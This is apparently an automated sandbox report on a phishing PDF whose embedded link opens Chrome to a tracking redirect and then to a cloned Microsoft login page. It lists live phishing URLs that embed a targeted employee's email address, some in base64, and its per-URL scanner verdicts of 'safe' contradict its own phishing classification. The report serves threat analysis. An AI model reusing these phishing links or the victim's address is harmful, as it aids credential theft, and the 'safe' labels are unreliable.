Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49743 version: TLS 1.2

Source: classification engine

Classification label: mal52.phis.winPDF@36/126@27/14

Source: Kellyb Timesheet Report.pdf	Initial sample: http\072\057\057tracking\056adscarat\056com\057tracking\057click\077d\075VWPZwayGPMFe83M\137Z6u2UpehAs36wAYs3Y6NEVBHKxivuxVFQ3q1Rys4HsOBEYKNp58Tny43BzHQoQQfMB4kDOq2N3PJCBYn\1376lp8WVRaFAn6IW5\055ZdMGiRNIrtDGSDNetxAKaSEHnZO\1373Fv2apiBiV7oawEZYbV\055DfVveNbSspRZLwsrmwAwG1nBVNr\1379p41Q2\043\057\077\057a2VsbHliQGNody1pbmMuY29t
Source: Kellyb Timesheet Report.pdf	Initial sample: http\072\057\057tracking\056adscarat\056com\057tracking\057click\077d\075vwpzwaygpmfe83m\137z6u2upehas36ways3y6nevbhkxivuxvfq3q1rys4hsobeyknp58tny43bzhqoqqfmb4kdoq2n3pjcbyn\1376lp8wvrafan6iw5\055zdmgirnirtdgsdnetxakasehnzo\1373fv2apibiv7oawezybv\055dfvvenbssprzlwsrmwawg1nbvnr\1379p41q2\043\057\077\057a2vsbhliqgnody1pbmmuy29t

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-21 08-43-58-941.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Kellyb Timesheet Report.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1596,i,10700144638070094372,4012403489226322607,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://tracking.adscarat.com/tracking/click?d=VWPZwayGPMFe83M_Z6u2UpehAs36wAYs3Y6NEVBHKxivuxVFQ3q1Rys4HsOBEYKNp58Tny43BzHQoQQfMB4kDOq2N3PJCBYn_6lp8WVRaFAn6IW5-ZdMGiRNIrtDGSDNetxAKaSEHnZO_3Fv2apiBiV7oawEZYbV-DfVveNbSspRZLwsrmwAwG1nBVNr_9p41Q2#/?/a2VsbHliQGNody1pbmMuY29t
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1968,i,8730224464849867111,8875416330734061609,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://tracking.adscarat.com/tracking/click?d=VWPZwayGPMFe83M_Z6u2UpehAs36wAYs3Y6NEVBHKxivuxVFQ3q1Rys4HsOBEYKNp58Tny43BzHQoQQfMB4kDOq2N3PJCBYn_6lp8WVRaFAn6IW5-ZdMGiRNIrtDGSDNetxAKaSEHnZO_3Fv2apiBiV7oawEZYbV-DfVveNbSspRZLwsrmwAwG1nBVNr_9p41Q2#/?/a2VsbHliQGNody1pbmMuY29t	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1596,i,10700144638070094372,4012403489226322607,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1968,i,8730224464849867111,8875416330734061609,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Kellyb Timesheet Report.pdf	Initial sample: PDF keyword /JS count = 0
Source: Kellyb Timesheet Report.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Kellyb Timesheet Report.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	1 Drive-by Compromise	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://sharedfile4rom1nternet.com/favicon.ico	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/owa/?login_hint=kellyb%40chw-inc.com	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3NoYXJlZGZpbGU0cm9tMW50ZXJuZXQuY29tLyIsImRvbWFpbiI6InNoYXJlZGZpbGU0cm9tMW50ZXJuZXQuY29tIiwia2V5IjoiYVRFZmpzeHZNZ2poIiwicXJjIjoia2VsbHliQGNody1pbmMuY29tIiwiaWF0IjoxNzMyMTk2Njk2LCJleHAiOjE3MzIxOTY4MTZ9.aCrPTx5bOzj8-bu_SfTIwTSI7NHhCBsePbctsJmgBNM	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pidpdisambiguation_8442c9722efe126153de.js	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css	0%	Avira URL Cloud	safe
https://dclima.cl/.pdf/encryption/00152689/php/connection/	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/common/instrumentation/dssostatus	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif	0%	Avira URL Cloud	safe
http://tracking.adscarat.com/tracking/click?d=VWPZwayGPMFe83M_Z6u2UpehAs36wAYs3Y6NEVBHKxivuxVFQ3q1Rys4HsOBEYKNp58Tny43BzHQoQQfMB4kDOq2N3PJCBYn_6lp8WVRaFAn6IW5-ZdMGiRNIrtDGSDNetxAKaSEHnZO_3Fv2apiBiV7oawEZYbV-DfVveNbSspRZLwsrmwAwG1nBVNr_9p41Q2	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js	0%	Avira URL Cloud	safe
https://robustwaresinc.com/?rebzqncw?&email=	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	0%	Avira URL Cloud	safe
https://robustwaresinc.com/?rebzqncw?&email=a2VsbHliQGNody1pbmMuY29t	0%	Avira URL Cloud	safe
https://robustwaresinc.com/favicon.ico	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/?qrc=kellyb%40chw-inc.com	0%	Avira URL Cloud	safe
https://dclima.cl/.pdf/encryption/00152689/php/connection	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg	0%	Avira URL Cloud	safe
